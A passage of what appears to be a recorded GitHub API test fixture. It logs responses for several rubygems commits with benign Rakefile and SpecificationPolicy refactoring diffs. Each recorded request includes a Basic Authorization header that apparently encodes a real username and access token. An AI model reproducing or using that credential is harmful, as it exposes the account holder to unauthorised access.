Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4539' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"fb029d1b114e70fce3f032d3d6a9818a" Last-Modified: - Tue, 28 Nov 2017 07:07:26 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.050821' X-Github-Request-Id: - C4C8:4D94:4EFEE1:B2FFB6:5A50E464 body: encoding: ASCII-8BIT string: '{"sha":"eb89c6a7c8c0a1726a37fbd93e63b10eb798ffef","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-28T07:07:26Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-28T07:07:26Z"},"message":"Partly reverted 7c5b7f49a9a08d4133fb1c83e2cd1f272906e037","tree":{"sha":"2f70dd105839e92388e346dff73f135ff30cbe9f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2f70dd105839e92388e346dff73f135ff30cbe9f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/eb89c6a7c8c0a1726a37fbd93e63b10eb798ffef","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlodCzcACgkQ+c8TQXJk\n+sKaHwf/cmlV/rw18bnGMKZyYhWcPRMvuR458sZDqZLAjM5lm8lzr1JpaQlxqF7f\nEmVxO2MZdGtxRHi6PBXbAMBp8Z94RgWaN/KpKTh5XO62LSSxdOLxe8fP2+eUzBvz\n/GvvfwYSIqytzrX2N8cbDOi2onK1rhN8rElp+oHX4MDL4cDp2P9mXtfZybt7eC7g\nAkxEfd/LRMyW1hpxp5oH8aDc3g09ZRNtpgjc4oUgjAobtUVSajtXz3OFdKic+APg\nYPYG3egYJUnx6b8LTL4n6gqmN+O5MSi2R2SUB8u5EmrzHHNYtuD48XqmtTS8IIe8\nJi4PFwgU7eTKRCC0CkJBONABhdSqxg==\n=GK5d\n-----END PGP SIGNATURE-----","payload":"tree 2f70dd105839e92388e346dff73f135ff30cbe9f\nparent 7c5b7f49a9a08d4133fb1c83e2cd1f272906e037\nauthor SHIBATA Hiroshi 1511852846 +0900\ncommitter SHIBATA Hiroshi 1511852846 +0900\n\nPartly reverted 7c5b7f49a9a08d4133fb1c83e2cd1f272906e037\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/eb89c6a7c8c0a1726a37fbd93e63b10eb798ffef","html_url":"https://github.com/rubygems/rubygems/commit/eb89c6a7c8c0a1726a37fbd93e63b10eb798ffef","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/eb89c6a7c8c0a1726a37fbd93e63b10eb798ffef/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"7c5b7f49a9a08d4133fb1c83e2cd1f272906e037","url":"https://api.github.com/repos/rubygems/rubygems/commits/7c5b7f49a9a08d4133fb1c83e2cd1f272906e037","html_url":"https://github.com/rubygems/rubygems/commit/7c5b7f49a9a08d4133fb1c83e2cd1f272906e037"}],"stats":{"total":3,"additions":3,"deletions":0},"files":[{"sha":"67e4c25d5158f19ce748bc15a73129d1b0f038d8","filename":"Rakefile","status":"modified","additions":3,"deletions":0,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/eb89c6a7c8c0a1726a37fbd93e63b10eb798ffef/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/eb89c6a7c8c0a1726a37fbd93e63b10eb798ffef/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=eb89c6a7c8c0a1726a37fbd93e63b10eb798ffef","patch":"@@ -264,6 +264,9 @@ namespace ''guides'' do\n desc ''Updates and publishes the guides for the just-released RubyGems''\n task ''publish''\n \n+ on_master = `git branch --list master`.strip == ''* master''\n+ on_master = true if ENV[''FORCE'']\n+\n task ''publish'' => %w[\n guides:pull\n guides:update"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:48 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/7c5b7f49a9a08d4133fb1c83e2cd1f272906e037 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:48 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4538' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"bdd00870a27a97446fb7b0bd084f60de" Last-Modified: - Tue, 28 Nov 2017 06:57:16 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.049956' X-Github-Request-Id: - A1FA:4D97:9035D4:1C470C1:5A50E464 body: encoding: ASCII-8BIT string: '{"sha":"7c5b7f49a9a08d4133fb1c83e2cd1f272906e037","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-28T06:57:16Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-28T06:57:16Z"},"message":"Ignored to publish rdoc documentation of rubygems for docs.seattlerb.org","tree":{"sha":"a5a851b6b45041048678cdd6b20b4451b524fda7","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/a5a851b6b45041048678cdd6b20b4451b524fda7"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/7c5b7f49a9a08d4133fb1c83e2cd1f272906e037","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlodCMwACgkQ+c8TQXJk\n+sIYYwf/eWsldRHE6T1LR0dbs+2+IBJ50ND0cjMPpHCCEhCcL+63Y2KIxWd7kW5o\nftohQMNCw6HakFUuZMa64UzdTtokGlrXFnHnX1Vwy+rVcVWgJpAj6W8fhnzlMUWe\nMr0sDm101P8s562CZz5XH3tzmGNhgFRgpzDkBp598UlbNIholhPnjvAYzWq+LJXN\ngiFfx2oGgzvIuUVsetbwaeNEQUFR7CFvMY1gIHSrYKeBPuktZixdo17EDIp/MZcl\nc6a1WFQ7u4ZCRE8RGsl83FsNFjD2nyWa/osPbQHLJI6TEilGnw7Tz0khTjwSYEr5\nXCuadUPwgV+tAhpTwO0rG4Dl3QHyWA==\n=UBiL\n-----END PGP SIGNATURE-----","payload":"tree a5a851b6b45041048678cdd6b20b4451b524fda7\nparent d57c530ec72b7024fe0c1a160f853794ea14a45c\nauthor SHIBATA Hiroshi 1511852236 +0900\ncommitter SHIBATA Hiroshi 1511852236 +0900\n\nIgnored to publish rdoc documentation of rubygems for docs.seattlerb.org\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/7c5b7f49a9a08d4133fb1c83e2cd1f272906e037","html_url":"https://github.com/rubygems/rubygems/commit/7c5b7f49a9a08d4133fb1c83e2cd1f272906e037","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/7c5b7f49a9a08d4133fb1c83e2cd1f272906e037/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"d57c530ec72b7024fe0c1a160f853794ea14a45c","url":"https://api.github.com/repos/rubygems/rubygems/commits/d57c530ec72b7024fe0c1a160f853794ea14a45c","html_url":"https://github.com/rubygems/rubygems/commit/d57c530ec72b7024fe0c1a160f853794ea14a45c"}],"stats":{"total":8,"additions":3,"deletions":5},"files":[{"sha":"e0c0bba250b1d156671a0e2c8e92a7b62161f102","filename":"Rakefile","status":"modified","additions":3,"deletions":5,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/7c5b7f49a9a08d4133fb1c83e2cd1f272906e037/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/7c5b7f49a9a08d4133fb1c83e2cd1f272906e037/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=7c5b7f49a9a08d4133fb1c83e2cd1f272906e037","patch":"@@ -168,7 +168,7 @@ end\n \n task :prerelease => [:clobber, :check_manifest, :test]\n \n-task :postrelease => %w[upload guides:publish blog:publish publish_docs]\n+task :postrelease => %w[upload guides:publish blog:publish]\n \n file \"pkg/rubygems-#{v}\" => \"pkg/rubygems-update-#{v}\" do |t|\n require ''find''\n@@ -219,10 +219,8 @@ end\n desc \"Upload release to rubygems.org\"\n task :upload => %w[upload_to_s3]\n \n-on_master = `git branch --list master`.strip == ''* master''\n-on_master = true if ENV[''FORCE'']\n-\n-Rake::Task[''publish_docs''].clear unless on_master\n+# Ignonre to publish rdoc to docs.seattlerb.org\n+Rake::Task[''publish_docs''].clear\n \n directory ''../guides.rubygems.org'' do\n sh ''git'', ''clone'',"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:48 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/361939844021b6744f2ef39d298549d9a8123f53 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:48 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4537' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"c698778a9098e4cb6d5fc0d7bddb0582" Last-Modified: - Mon, 27 Nov 2017 21:15:13 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.035515' X-Github-Request-Id: - C4CC:4D95:F47C10:1C83318:5A50E464 body: encoding: ASCII-8BIT string: '{"sha":"361939844021b6744f2ef39d298549d9a8123f53","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-27T21:15:13Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-27T21:15:13Z"},"message":"SpecificationPolicy#validate_shebang_line_in early return","tree":{"sha":"579530ddf22e91e2494135ee6f2fc0f30e0062bc","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/579530ddf22e91e2494135ee6f2fc0f30e0062bc"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/361939844021b6744f2ef39d298549d9a8123f53","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/361939844021b6744f2ef39d298549d9a8123f53","html_url":"https://github.com/rubygems/rubygems/commit/361939844021b6744f2ef39d298549d9a8123f53","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/361939844021b6744f2ef39d298549d9a8123f53/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"70504543d98c37213013060a1921d10cfaeaa738","url":"https://api.github.com/repos/rubygems/rubygems/commits/70504543d98c37213013060a1921d10cfaeaa738","html_url":"https://github.com/rubygems/rubygems/commit/70504543d98c37213013060a1921d10cfaeaa738"}],"stats":{"total":4,"additions":2,"deletions":2},"files":[{"sha":"45a61552b1c250b910bbdb94e141e0b74eb119f5","filename":"lib/rubygems/specification_policy.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/361939844021b6744f2ef39d298549d9a8123f53/lib/rubygems/specification_policy.rb","raw_url":"https://github.com/rubygems/rubygems/raw/361939844021b6744f2ef39d298549d9a8123f53/lib/rubygems/specification_policy.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification_policy.rb?ref=361939844021b6744f2ef39d298549d9a8123f53","patch":"@@ -375,8 +375,8 @@ def validate_attribute_present(attribute)\n \n def validate_shebang_line_in(executable)\n executable_path = File.join(bindir, executable)\n- shebang = File.read(executable_path, 2) == ''#!''\n- return if shebang\n+ return if File.read(executable_path, 2) == ''#!''\n+\n warning \"#{executable_path} is missing #! line\"\n end\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:48 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/70504543d98c37213013060a1921d10cfaeaa738 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:48 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4536' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"8ffa2505d1bd203cc7398f304777819a" Last-Modified: - Mon, 27 Nov 2017 21:14:55 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045868' X-Github-Request-Id: - C4CE:4D95:F47C19:1C83329:5A50E464 body: encoding: ASCII-8BIT string: '{"sha":"70504543d98c37213013060a1921d10cfaeaa738","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-27T21:14:55Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-27T21:14:55Z"},"message":"SpecificationPolicy: Extract constants","tree":{"sha":"8513421d20914fd549a938fc069030b4cd4dd577","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/8513421d20914fd549a938fc069030b4cd4dd577"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/70504543d98c37213013060a1921d10cfaeaa738","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/70504543d98c37213013060a1921d10cfaeaa738","html_url":"https://github.com/rubygems/rubygems/commit/70504543d98c37213013060a1921d10cfaeaa738","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/70504543d98c37213013060a1921d10cfaeaa738/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"c20a4919e012307be50700a4c3b7fef01840bc4b","url":"https://api.github.com/repos/rubygems/rubygems/commits/c20a4919e012307be50700a4c3b7fef01840bc4b","html_url":"https://github.com/rubygems/rubygems/commit/c20a4919e012307be50700a4c3b7fef01840bc4b"}],"stats":{"total":25,"additions":13,"deletions":12},"files":[{"sha":"0d96efef4659b6fd743097b654ff10ec43575eb0","filename":"lib/rubygems/specification_policy.rb","status":"modified","additions":13,"deletions":12,"changes":25,"blob_url":"https://github.com/rubygems/rubygems/blob/70504543d98c37213013060a1921d10cfaeaa738/lib/rubygems/specification_policy.rb","raw_url":"https://github.com/rubygems/rubygems/raw/70504543d98c37213013060a1921d10cfaeaa738/lib/rubygems/specification_policy.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification_policy.rb?ref=70504543d98c37213013060a1921d10cfaeaa738","patch":"@@ -319,28 +319,29 @@ def validate_licenses\n warning\n end\n \n- def validate_lazy_metadata\n- lazy = ''\"FIxxxXME\" or \"TOxxxDO\"''.gsub(/xxx/, '''')\n- lazy_pattern = /FI XME|TO DO/x\n+ LAZY = ''\"FIxxxXME\" or \"TOxxxDO\"''.gsub(/xxx/, '''')\n+ LAZY_PATTERN = /FI XME|TO DO/x\n+ HOMEPAGE_URI_PATTERN = /\\A[a-z][a-z\\d+.-]*:/i\n \n- unless authors.grep(lazy_pattern).empty? then\n- raise Gem::InvalidSpecificationException, \"#{lazy} is not an author\"\n+ def validate_lazy_metadata\n+ unless authors.grep(LAZY_PATTERN).empty? then\n+ raise Gem::InvalidSpecificationException, \"#{LAZY} is not an author\"\n end\n \n- unless Array(email).grep(lazy_pattern).empty? then\n- raise Gem::InvalidSpecificationException, \"#{lazy} is not an email\"\n+ unless Array(email).grep(LAZY_PATTERN).empty? then\n+ raise Gem::InvalidSpecificationException, \"#{LAZY} is not an email\"\n end\n \n- if description =~ lazy_pattern then\n- raise Gem::InvalidSpecificationException, \"#{lazy} is not a description\"\n+ if description =~ LAZY_PATTERN then\n+ raise Gem::InvalidSpecificationException, \"#{LAZY} is not a description\"\n end\n \n- if summary =~ lazy_pattern then\n- raise Gem::InvalidSpecificationException, \"#{lazy} is not a summary\"\n+ if summary =~ LAZY_PATTERN then\n+ raise Gem::InvalidSpecificationException, \"#{LAZY} is not a summary\"\n end\n \n if homepage and not homepage.empty? and\n- homepage !~ /\\A[a-z][a-z\\d+.-]*:/i then\n+ homepage !~ HOMEPAGE_URI_PATTERN then\n raise Gem::InvalidSpecificationException,\n \"\\\"#{homepage}\\\" is not a URI\"\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:48 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/c20a4919e012307be50700a4c3b7fef01840bc4b body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:49 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4535' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"2ea474da6b99661384f0ca29cb513ee4" Last-Modified: - Mon, 27 Nov 2017 21:05:45 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.049405' X-Github-Request-Id: - C4D0:4D94:4EFEE8:B2FFC4:5A50E465 body: encoding: ASCII-8BIT string: '{"sha":"c20a4919e012307be50700a4c3b7fef01840bc4b","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-27T21:05:45Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-27T21:05:45Z"},"message":"SpecificationPolicy: extract local methods","tree":{"sha":"96aea17942716f45c7bbbce107d7c725969cb3e2","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/96aea17942716f45c7bbbce107d7c725969cb3e2"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/c20a4919e012307be50700a4c3b7fef01840bc4b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/c20a4919e012307be50700a4c3b7fef01840bc4b","html_url":"https://github.com/rubygems/rubygems/commit/c20a4919e012307be50700a4c3b7fef01840bc4b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/c20a4919e012307be50700a4c3b7fef01840bc4b/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/r